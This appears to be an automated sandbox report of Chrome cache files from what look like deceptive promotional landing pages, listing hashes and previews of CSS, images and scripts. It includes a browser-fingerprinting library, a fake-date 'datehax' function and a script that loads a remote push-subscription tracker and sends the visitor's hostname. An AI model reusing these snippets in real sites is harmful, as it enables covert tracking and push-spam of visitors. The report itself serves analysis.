Size (bytes):	2457
Entropy (8bit):	4.800952154310885
Encrypted:	false
SSDEEP:	48:cniEGPRVIAvpegBg6ZqqRELpVsDnRHZ1QnonQ02/JiOxIR:cxGPR+AvphqiRELpVEZQoQDJXx8
MD5:	47B660FF8AAE67DC04ED3D39ED5F9DCA
SHA1:	CF803A443EBBA836BB7506B36122CDF0DBDB79AB
SHA-256:	E095B91CC9A20149CEF660CD11B5EA0DFB7B13B511D2841913984BF78354740B
SHA-512:	FD6298D001042AE7528358FDB5D33B1A7389D3D7DFF187C4DCE3A6289691F5149C54FBE0CC305513616D77EF528C6A06B43132675A4C6DF51FB7E62D46E224EF
Malicious:	false
Reputation:	low
Preview:	function datehax() {.. var mydate = new Date().. mydate.setDate(mydate.getDate());.. var year = mydate.getYear().. if (year < 1000).. year += 1900.. var day = mydate.getDay().. var month = mydate.getMonth().. var daym = mydate.getDate().. if (daym < 10).. daym = "0" + daym.. var dayarray = Array("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday");.. var montharray = new Array("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December");.. .. //var dayarray = Array("dimanche", "lundi", "mardi", "mercredi", "jeudi", "vendredi", "samedi");.. //var montharray = new Array("janvier","f.vrier","mars","avril","mai","juin","juillet","aout","septembre","octobre","novembre","d.cembre");.. .. // var dayarray = new Array("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday").. // var montharray = new Array("Januari","Februari"

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	781
Entropy (8bit):	4.931754351030775
Encrypted:	false
SSDEEP:	12:UorFtuVtU3ylffD1F+MlckdhMlcJ5JmWlVeWlDYWlW9RO6Zm+E:fubU3krP+M1zM2DhZVwfOYmz
MD5:	B91C3AB7160FA6E007400F70367A3F1E
SHA1:	8F3BE848A618D55F7FF09994834516409BEE9702
SHA-256:	C4D52C2E11A25E250D50D5F0E6CE13046600329484A88ED9314417E97D1825CE
SHA-512:	87F4A541AD325206B503FAA8C44591E73661DE68201496DB28A28EA5737449688709D78E0FB2C4AF4805703231549306ED334794D3E8C941E8B36BF25F42D19A
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/font-awesome.css
Preview:	/!. Font Awesome v4.7.0 by @davegandy - http://fontawesome.io - @fontawesome. * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License). /.@import url('font-awesome-css.min.css');./ FONT PATH. * -------------------------- /.@font-face {. font-family: 'FontAwesome';. src: url('../fonts/fontawesome-webfont.eot');. src: url('../fonts/fontawesome-webfont.eot#iefix') format('embedded-opentype'),. url('../fonts/fontawesome-webfont.woff2') format('woff2'),. url('../fonts/fontawesome-webfont.woff') format('woff'),. url('../fonts/fontawesome-webfont.ttf') format('truetype'),. url('../images/fontawesome-webfont.svg#fontawesomeregular') format('svg');. font-weight: normal;. font-style: normal;.}./.Embed code 9fd61c4e7d.*/.

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 647x634, components 3
Category:	downloaded
Size (bytes):	82127
Entropy (8bit):	7.959837556041721
Encrypted:	false
SSDEEP:	1536:uaAZSm0oyfUeWzeJd/IZoytPATr+kJck+Fx+kWtKojdrEtx:DAZxUWzSSoyNATrqkEPWdrEb
MD5:	268DA0DAFF8FA71DDB72A336C1E7AA98
SHA1:	AB9421161875D7450B2FB88BCC73FE1F66C5CD8F
SHA-256:	988C66B7DF8285212AF86C7E1D708CF0DF3CD7A132D195F4C40A67BE2ABD3D09
SHA-512:	BEBE1C0CFA0A37851D5344CD2F4E6C7741961428A8C557AD3DB7931A730EE0FD504EE41EB6B0C44E0AB9BE4AB65B3269BEA13EC548BAB99B4F00D36FCD925223
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/images/index/product-mc.jpg
Preview:	......Exif..II*.................Ducky.......<.....whttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:ad86be4e-b1fd-cb48-81b6-7890bc4e5c85" xmpMM:DocumentID="xmp.did:A1B8FCD869F611EF8AB8FB94857EC802" xmpMM:InstanceID="xmp.iid:A1B8FCD769F611EF8AB8FB94857EC802" xmp:CreatorTool="Adobe Photoshop 25.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4B0FA10C349311EF88A5DC005A125AA0" stRef:documentID="xmp.did:4B0FA10D349311EF88A5DC005A125AA0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.....................................................

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 705 x 329, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	7.810879167132597
Encrypted:	false
SSDEEP:	192:dknDEvCMxNOVERWEi7wJcEjv34BUvZi5jW0Qud2d3y/g+xtJjAUw:+nYXjOiNs41BvWKCYy/gMtBA5
MD5:	73D791693166711159939D90DF9D72C2
SHA1:	068102DFFA8A3D074AE48860F19B2575203B8D90
SHA-256:	C1B16D570E885BB3AFC15AFDF31E07AE5B1CB738658CBDAEA38A224D1379E179
SHA-512:	ECE51CC824F23EA13A4736E7D64CB008585B0C006311B9706BE416CCC192F502A6C1364DE45F673CAF89FFD825B5976408D272760F66E7B56B49A69AEF92A3F3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......I.....Md.n....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-09-15T22:51:09+08:00" xmp:ModifyDate="2024-08-28T21:51:11+08:00" xmp:MetadataDate="2024-08-28T21:51:11+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:daf5c94e-23fc-6145-a805-9b95db9aa2f2" xmpMM:DocumentID="xmp.did:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66" xmpMM:OriginalDocumentID="xmp.did:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66"> <p

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	8547
Entropy (8bit):	5.182606625901778
Encrypted:	false
SSDEEP:	192:ZuLP+VVp4B0PiiBS2PV053NppueHMJULaSB5CBA:Y+z60jS2PV0hNppeJU2y0A
MD5:	D6E0EDE0732707C80A7FCA3D17942E22
SHA1:	7A061F122CBDB38382FA46197B641102E0275B65
SHA-256:	FF0CDF0F5E14B8C3E030FA34F0D0076A936B1E6AD8BE728DF7961383CF6D714E
SHA-512:	D420F0210FE24E52C75D7CCACAE2793983C5ACB18EC695AED0C200A4550D20C705BA4404FD4BDE1162DDDAA16A8B1E8FBCE4CFBC1E4F11B5E562EA983C0FBA06
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/app2.css
Preview:	.clear,...clearfix:after {...clear: both..}..a img,..img {...height: auto;...max-width: 100%..}..body {...margin: 0;...padding: 0;...font-family: Arial, sans-serif;...font-size: 15px..}..li,..ul {...list-style-type: none..}..ul{margin-bottom: 0 !important;}...left {...float: left..}...right {...float: right..}...clearfix:after,...clearfix:before {...content: " ";...display: table..}...alignRright {...float: right;...margin: 0 0 12px 15px..}...alignLeft,...float-left {...float: left..}...alignLeft {...margin: 0 15px 12px 0..}...alignCenter {...float: none!important;...margin: 0 auto;...display: block..}..a img,..img {...border: 0..}...text-left {...text-align: left..}...text-right {...text-align: right..}...text-center {...text-align: center..}...text-justify {...text-align: justify..}...config-errors h3 {...padding: 10px 0;...margin: 5px..}...config-errors ul {...padding: 0;...margin: 0..}...config-errors li {...padding: 10px;...margin: 5px;...background-color: #FCC;...border: 1px soli

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2457
Entropy (8bit):	4.800952154310885
Encrypted:	false
SSDEEP:	48:cniEGPRVIAvpegBg6ZqqRELpVsDnRHZ1QnonQ02/JiOxIR:cxGPR+AvphqiRELpVEZQoQDJXx8
MD5:	47B660FF8AAE67DC04ED3D39ED5F9DCA
SHA1:	CF803A443EBBA836BB7506B36122CDF0DBDB79AB
SHA-256:	E095B91CC9A20149CEF660CD11B5EA0DFB7B13B511D2841913984BF78354740B
SHA-512:	FD6298D001042AE7528358FDB5D33B1A7389D3D7DFF187C4DCE3A6289691F5149C54FBE0CC305513616D77EF528C6A06B43132675A4C6DF51FB7E62D46E224EF
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/us217/datehead.js
Preview:	function datehax() {.. var mydate = new Date().. mydate.setDate(mydate.getDate());.. var year = mydate.getYear().. if (year < 1000).. year += 1900.. var day = mydate.getDay().. var month = mydate.getMonth().. var daym = mydate.getDate().. if (daym < 10).. daym = "0" + daym.. var dayarray = Array("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday");.. var montharray = new Array("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December");.. .. //var dayarray = Array("dimanche", "lundi", "mardi", "mercredi", "jeudi", "vendredi", "samedi");.. //var montharray = new Array("janvier","f.vrier","mars","avril","mai","juin","juillet","aout","septembre","octobre","novembre","d.cembre");.. .. // var dayarray = new Array("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday").. // var montharray = new Array("Januari","Februari"

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	10227
Entropy (8bit):	4.935299417235197
Encrypted:	false
SSDEEP:	192:CjEqifihiKoly3m9+ymGWbyaQ9UyjaGyp29wiKimi2isiNBUi/QFlNQXiyUihPKb:CjEqifihiKoly3m9+ymbbyaQ9UyjaGyr
MD5:	6DC26A75B23970F5004CAD9CFBD18F09
SHA1:	CFD71681DCEA2F2511B5258F5B4F68F3B38BBD8D
SHA-256:	4766AEABA3931B533B9927FA1347982B3B0866E64DE712220C64772B449B16D2
SHA-512:	BAF76EF7E501A9E366AAA7D0AC3C88F82D2A0A1C41DE29875D2F0BB1E494598B397E63C0E7C2CD3B72EA70AAF1A6B5EC716F3207B831CE50ABE50F741FA28D5F
Malicious:	false
Reputation:	low
Preview:	var answers = document.querySelectorAll(".clsnqaaa-select");..var lastQnum = document.querySelectorAll("#nnlstm .clsnqaaa-select").length;....function toNext(ele) {.. if(ele.value=="1"){.. document.getElementsByClassName("bdyaln1")[0].classList.add("animate__animated");.. document.getElementsByClassName("bdyaln1")[0].classList.add("animate__fadeOut"); .. setTimeout(function () { .. document.getElementsByClassName("bdyaln1")[0].style.display = "none";.. }, 500);.. }.. var ancestor = ele.parentElement.parentElement;.. var next = ancestor.nextElementSibling;.. ancestor.classList.add("animate__animated");.. ancestor.classList.add("animate__fadeOut");.. setTimeout(function () {.. ancestor.style.display = "none";.. }, 490).. setTimeout(function () {.. next.classList.add("animate__animated");.. next.classList.add("animate__fadeIn");.. next.style.display = "block".. }, 490)..}......var states = [do

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2518), with no line terminators
Category:	dropped
Size (bytes):	2518
Entropy (8bit):	4.921381234448562
Encrypted:	false
SSDEEP:	48:IMcDZwuzYV7y9X5S/v6ZGbPvglV0Thn7DhquRQC8XthuSuujBIO4bfOQkBaRbrvg:I1DK/Bye/yAgc7DhquRQC8XTu9w6fa0K
MD5:	7B7E283F51C3FF075E09F13EC6E25B86
SHA1:	A4C832F31DFC2FD2DC9DC21A3C8C853B4EFDD62D
SHA-256:	FD6F215CB3909AC889CCA094C0E80E82B50F7B9A49E8C8FAD2AACEE610BA8C13
SHA-512:	AB7FEBB8B909C32C426467A406C2900DB1123956CE01A1DDC244BE8C13FD9BC20AD8DC1D825E29AF7C64C8D6B0206912D4884E47E76B6374D0C313B66F0550F4
Malicious:	false
Reputation:	low
Preview:	!function(t){function e(){}function n(t,e){return function(){t.apply(e,arguments)}}function o(t){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof t)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=void 0,this._deferreds=[],s(t,this)}function r(t,e){for(;3===t._state;)t=t._value;return 0===t._state?void t._deferreds.push(e):(t._handled=!0,void a(function(){var n=1===t._state?e.onFulfilled:e.onRejected;if(null===n)return void(1===t._state?i:f)(e.promise,t._value);var o;try{o=n(t._value)}catch(r){return void f(e.promise,r)}i(e.promise,o)}))}function i(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e\|\|"function"==typeof e)){var r=e.then;if(e instanceof o)return t._state=3,t._value=e,void u(t);if("function"==typeof r)return void s(n(r,e),t)}t._state=1,t._value=e,u(t)}catch(i){f(t,i)}}function f(t,e){t._state=2,t._value=e,u(t)}function u(t){2==

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	YAC archive data
Category:	dropped
Size (bytes):	943
Entropy (8bit):	4.3525729435975
Encrypted:	false
SSDEEP:	24:HBrAKWfQIE2FyuHgdXzDGie1BTVRjEgsKO3K7RWW2kp:HBPoQP1dHGiujNsKOwwWrp
MD5:	38FDB95F495B913E367D6F83D123BB83
SHA1:	43217241C452E612A0A3B00C68A016141C4BB4FB
SHA-256:	19F7DD15AF70121DA291E6DF75452886B47A5D0E074F2ED422BE30E8EC5D9671
SHA-512:	37B2E1C8F997F0763706E0C21E46B261AD7EEFFE2A5B335AEBDCA2B48AD9298E42551C6D50E4A1E293F1A1DE7D1E809E2BE045F9076A6F48F5B24CD0077B82FD
Malicious:	false
Reputation:	low
Preview:	var MYCALL = MYCALL \|\| (function(){. var pshparams = {}; // private. return {. init : function(Args) {. . //console.log(Args[2]);. pshparams = Args[0];. pshpub = Args[1];. pshdomain = Args[2];. // some other initialising. },. send : function() {. var script = document.createElement("script");. script.type = "text/javascript";. script.src = "https://trk-elevostra.com/scripts/push/v9e118mez8";. script.onload = function () {. push_init();. var utmObj = {. "utm_source": pshpub,. "source_two": pshparams,. "source_one": btoa(location.hostname). }. setUtm(utmObj);.// alert('sending: '+pshparams);. push_subscribe();. };. document.getElementsByTagName("head")[0].appendChild(script);. }. };.}());..

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8097), with no line terminators
Category:	dropped
Size (bytes):	8097
Entropy (8bit):	5.755864544702657
Encrypted:	false
SSDEEP:	192:/GkhaBCexNo5VhN+By9tXkWcuXg9L8/SFbsC:/nhaBtKrhN+By9hW8/Sx
MD5:	EC82D1A373946994F754D873104DD047
SHA1:	2F22E588D14C40A9C114D0809AC282C4D9C7B8D0
SHA-256:	5E3CDC8725D36AC2B04E150A00C98320A97ABDBDF8A0C9A8BB6CAC807612B740
SHA-512:	B31A85A3A5B59F53A9E70C228F23562FD79804A50D9D2787FE470135EB61C80BC721E5CB290032934747E6D85F07863F630B7ED6D840C482B09835CE0D4B8955
Malicious:	false
Reputation:	low
Preview:	window._cf_chl_opt={cFPWv:'g'};~function(V,g,h,i,j,n,o,A){V=b,function(d,e,U,f,C){for(U=b,f=d();!![];)try{if(C=-parseInt(U(545))/1(parseInt(U(529))/2)+parseInt(U(504))/3+parseInt(U(536))/4(parseInt(U(534))/5)+-parseInt(U(600))/6(parseInt(U(520))/7)+parseInt(U(500))/8(parseInt(U(557))/9)+parseInt(U(594))/10*(-parseInt(U(522))/11)+parseInt(U(595))/12,e===C)break;else f.push(f.shift())}catch(D){f.push(f.shift())}}(a,599126),g=this\|\|self,h=g[V(572)],i={},i[V(550)]='o',i[V(521)]='s',i[V(506)]='u',i[V(560)]='z',i[V(584)]='n',i[V(566)]='I',j=i,g[V(556)]=function(C,D,E,F,a0,H,I,J,K,L,M){if(a0=V,D===null\|\|D===void 0)return F;for(H=m(D),C[a0(606)][a0(538)]&&(H=H[a0(523)](C[a0(606)][a0(538)](D))),H=C[a0(527)][a0(575)]&&C[a0(567)]?C[a0(527)][a0(575)](new C[(a0(567))](H)):function(N,a1,O){for(a1=a0,N[a1(570)](),O=0;O<N[a1(580)];N[O+1]===N[O]?N[a1(544)](O+1,1):O+=1);return N}(H),I='nAsAaAb'.split('A'),I=I[a0(592)][a0(569)](I),J=0;J<H[a0(580)];K=H[J],L=l(C,D,K),I(L)?(M='s'===L&&!C[a0(509)](D[K]),

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1227
Entropy (8bit):	4.490432644426697
Encrypted:	false
SSDEEP:	24:4BECzORRQDRRW/RRVbBEurRR7fawBEuJRW4BEQotf3E/2YYWLi9glpU+ABEwWLin:MEC6WunEmvflEOwMEbE/9Y4iec3Ew4in
MD5:	0CB7C846556317370C50B41093BE8364
SHA1:	9C0CEA50A92937BF29248FB27C6E709D5FF0A296
SHA-256:	46D905535D1C01DCE9AE142489D9B063640D239444EADF5E86ED2911764238C2
SHA-512:	E24E5CED8047256176E3189C7BB9F4C89623DBD7893EAA413B36A8DFF6FAEF92B1EB6E73761AC71A72AE9965B4C38DF4AFE7349920871EB8E9D166BCB4371A55
Malicious:	false
Reputation:	low
Preview:	// Get the modal element. var modal = document.getElementById("termsModal");. var modalContent = document.getElementById("modalContent");. var termsText = document.getElementById("termsText");.. // Get the button that opens the modal. var btn = document.getElementById("terms-btn");.. // Get the <span> element that closes the modal. var span = document.getElementsByClassName("close")[0];.. // When the user clicks the button, open the modal . btn.onclick = function() {. // Fetch the terms and conditions content from the PHP file. fetch('/master/terms/js/test.php'). .then(response => response.text()). .then(data => {. termsText.innerHTML = data;. modal.style.display = "block";. }). .catch(error => {. termsText.innerHTML = "Failed to load terms and conditions.";. });. }.. // When the user clicks on <span> (x), close the modal. span.onclick = function() {. modal.style

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text
Category:	downloaded
Size (bytes):	30085
Entropy (8bit):	4.92275659252854
Encrypted:	false
SSDEEP:	768:AFjZHF6FsFeF6FrZm9h2osgRtxskFWUC/vLEkRqqrjaij:+s6EQa9sgRtpCLEkRjaij
MD5:	686A05F7A9C77A51311E4933F00B60B3
SHA1:	367A4B960EC79F66AF3F17A1153FEEF4E1CF62C0
SHA-256:	4D40E6956AD91F299E125E0645042D79FF0D695BB9379829E9BA2E76669DF436
SHA-512:	276F8C56491D66295CE31580B22C674113D73B22E0D55EEC9034C65265DB22D7FD5EAF0970AE177C54B3F2B2EB69CF3DFFAC4CC38BACF678B9A1C5250BFC8138
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/index.css
Preview:	* {. margin: 0;. padding: 0;.}...no-gutter {. padding: 0;.}..formdiv button[type=submit] {. background-color: #e16f2e;. border-color: #e16f2e;.}...badge_blue {. position: absolute;. text-align: center;. top: -5%;. right: 15%;.}..badge_blue img {. width: auto;. max-height: 160px;.}..badge-text{. position: absolute;. left: 0;. right: 0;. margin: 0 auto;. top: 50%;. transform: translateY(-50%);. color: #fff;. font-weight: 600;. letter-spacing: 1px;. font-size: 20px;. line-height: 25px; .}..badge-text span.pricetext{. font-size: 30px;. line-height: 35px;. font-weight: 700;.}...clearfix {. clear: both;.}..p.no-margin {. margin-top: 0 !important;.}..p.no-padding {. padding-top: 0 !important;.}..a {. text-decoration: none;. color: #999;.}..a:hover {. text-decoration: none;. color: #999;.}...headerbox {. background: #FFF;. margin: 0px auto 20px auto;. padding: 0 0 0 0;. -moz-border-radius: 0 0 5px 5px;. -webkit-border-radius:

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 150x150, components 3
Category:	dropped
Size (bytes):	5057
Entropy (8bit):	7.9139747567298
Encrypted:	false
SSDEEP:	96:2sO/+MdFyFoOAS4bp5kY5uUiZiUoDEP6Stp5KaTV:2UMqGFSGpKY5uFZi1DEZTV
MD5:	5A42773B0372EEB258F5248AA0710C51
SHA1:	48A6DBDB4CC2945FCA378094C69106F7E4EF1F48
SHA-256:	2B03C530526AC6B24FF8461F5A2BA8BEE3EC8F3E31CCB1A67DE3550595E07D18
SHA-512:	ABDE818DCA7515D4C99C4E81A289833D19D583014D796C7CEA8CD1CB52499394EFEBDA68FFEAC18740B2B878276548032307AE644CC9CB052D6027565B0147E6
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H.....C...........................".##!. %5-%'2( .?/279<<<$-BFA:F5;<9...C...........9& &99999999999999999999999999999999999999999999999999...........".......................................?.........................!.1.AQa"q..#2...BR...3b....c.$%5CS................................"......................!.1.A."Q2.............?.x.:(.M"...m.a..{.k..E.C..!.\|.......V...>..f.u.......l.3..I...Yc....W..'..+......3g....n.,..(s.'.1...k-Q..9p.C..x.cI.&Y..6j...C.......^...C......./..q..j.i..p...v`3....4.... ..(.X....@.k.x.v...BJ....L..{...2Fo.s..k...GH..tk4e].2.`.o\.......?.^...VqJ..QS+....XI...4~.O.O..y.`..n..ROT.`...hz.5...c,.#wc........\\|Wr!..s.H.a..]Kq..#..h.8...H#.....<.]......!.........mn./...>.".."2v.X.q.P(..v....T<`..D.. .}.."?:J.6.4..E..6>...I...O#..u.S..'..."\|x...@&.d.O.8e..<F......n..+.~H........4..W.a..Kg.I.@7d....=k8....+..OE.._g.c..nMbV..X" 1o3.+G.4.;[E.[.q.%i;...$.6Dr..4.5.P....O.X....].-.x. .N.....J.R[._......

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	YAC archive data
Category:	downloaded
Size (bytes):	943
Entropy (8bit):	4.3525729435975
Encrypted:	false
SSDEEP:	24:HBrAKWfQIE2FyuHgdXzDGie1BTVRjEgsKO3K7RWW2kp:HBPoQP1dHGiujNsKOwwWrp
MD5:	38FDB95F495B913E367D6F83D123BB83
SHA1:	43217241C452E612A0A3B00C68A016141C4BB4FB
SHA-256:	19F7DD15AF70121DA291E6DF75452886B47A5D0E074F2ED422BE30E8EC5D9671
SHA-512:	37B2E1C8F997F0763706E0C21E46B261AD7EEFFE2A5B335AEBDCA2B48AD9298E42551C6D50E4A1E293F1A1DE7D1E809E2BE045F9076A6F48F5B24CD0077B82FD
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/inc/msg.js?a58c8a565bfd2d3dfa996defbc12dda9
Preview:	var MYCALL = MYCALL \|\| (function(){. var pshparams = {}; // private. return {. init : function(Args) {. . //console.log(Args[2]);. pshparams = Args[0];. pshpub = Args[1];. pshdomain = Args[2];. // some other initialising. },. send : function() {. var script = document.createElement("script");. script.type = "text/javascript";. script.src = "https://trk-elevostra.com/scripts/push/v9e118mez8";. script.onload = function () {. push_init();. var utmObj = {. "utm_source": pshpub,. "source_two": pshparams,. "source_one": btoa(location.hostname). }. setUtm(utmObj);.// alert('sending: '+pshparams);. push_subscribe();. };. document.getElementsByTagName("head")[0].appendChild(script);. }. };.}());..

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (586), with CRLF line terminators
Category:	downloaded
Size (bytes):	720
Entropy (8bit):	5.074760633739794
Encrypted:	false
SSDEEP:	12:X17ShKkfNVV/DlffSTgDJ3xVb2Zl2fpARUZAVlZDcDaM1ID:X1qfNVV/lfSCVb232KUe/X
MD5:	BE771AF996ACBDDE276123842C2CD10C
SHA1:	DC152DD075AF52CDF6DC5FAF21EBFE69DC57CBEB
SHA-256:	57CECEABEAA3E1A513C7615EBA5036E103B8EEFD68B20D0D28A69D2DE6A2F9BA
SHA-512:	657BDBB3CAA9AB4F5B111C0D78B8B4BC261F865EF359736E769F50680269FC007C5FF174C9706F6C4E30D72FAE8FDEE1ED77B225C3C50B0FF4CB4F8149742CAA
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/custom.css
Preview:	.error-message{color:red;font-size:14px;float:left;margin-bottom:3px}.loading_m{display:none;position:fixed;z-index:100000;top:0;left:0;height:100%;width:100%;background:rgba( 255,255,255,.9 ) url(../img/processing.gif) 50% 50% no-repeat}body.loading .loading_m{overflow:hidden}body.loading .loading_m{display:block}.overlay_p{left:0!important;top:0!important;right:0!important;bottom:0!important}#error_message{color:red}.caption span{font-size:20px}@media all and (max-width:768px){.caption span{font-size:14px}.top-200{margin-top:200px!important}.top-100{margin-top:100px!important}}.....form-control{padding: 3px 8px !important;}..select, input {.. height: 38px !important;.. padding-right: 28px !important;..}

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (33812)
Category:	downloaded
Size (bytes):	34144
Entropy (8bit):	5.66044756551516
Encrypted:	false
SSDEEP:	384:tQQYfKKmHRv60xFRACKJ8E6wXaiKHy/TpoGHw74KdLecKZgc+RW7+5ERNFaqE8Er:tRHHRrm/MltSNyISuNwxJ7eEPcsJV
MD5:	3029AC1921F5B0735CE63619203B879B
SHA1:	C449C72CD117E2784566FC7232AD7B272DE9954A
SHA-256:	54C58B4A9143EE23CEF62C449A9386AF4BDF89755CE680CD95FE14C10B96FA2F
SHA-512:	9F600B3AEF5AA31320AC834F2D78B80C3819F26BF16421BAB375108DC5ED795F251913652AB9C1E0A7ECAFF4E8094F94D95E0BB7D87EF9CD07467905662B4FBB
Malicious:	false
Reputation:	low
URL:	https://s3.us-west-2.amazonaws.com/jsma/fp.js
Preview:	/*. FingerprintJS v3.4.0 - Copyright (c) FingerprintJS, Inc, 2023 (https://fingerprint.com). * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) license.. . This software contains code from open-source projects:. * MurmurHash3 by Karan Lyons (https://github.com/karanlyons/murmurHash3.js). */.var e=function(){return e=Object.assign\|\|function(e){for(var n,t=1,r=arguments.length;t<r;t++)for(var o in n=arguments[t])Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o]);return e},e.apply(this,arguments)};function n(e,n,t,r){return new(t\|\|(t=Promise))((function(o,a){function i(e){try{u(r.next(e))}catch(n){a(n)}}function c(e){try{u(r.throw(e))}catch(n){a(n)}}function u(e){var n;e.done?o(e.value):(n=e.value,n instanceof t?n:new t((function(e){e(n)}))).then(i,c)}u((r=r.apply(e,n\|\|[])).next())}))}function t(e,n){var t,r,o,a,i={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return a={next:c(0),throw:c(1),return:c(2)},"function"==typeof Sy

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60435)
Category:	downloaded
Size (bytes):	60586
Entropy (8bit):	5.07652061085856
Encrypted:	false
SSDEEP:	1536:jkZdPOwe1uA5kGDj3Cyg5lrcee0qT66j3rwzlr22:jkZQwe1uA5kGDj3Cyg5lrcee0qTM
MD5:	5A78C9553DD73D6FDCD7277306911F11
SHA1:	9CA17E3E9E99D39286F8F0703D2211DF197D1895
SHA-256:	3393FDD741690B75C0D48FD67699FC8A16A6C2D9DEA7A05B5BB13DDD4C61DEBC
SHA-512:	93751BEC4117B81FBE82503BD115DE84FFB19DBFABE590296263BC8D7773BFC2F03702CE88FF991AC736619660D41B593AB4F36DA18ECB6CC9FBDEFCCDF5CF9E
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/css/animate.css
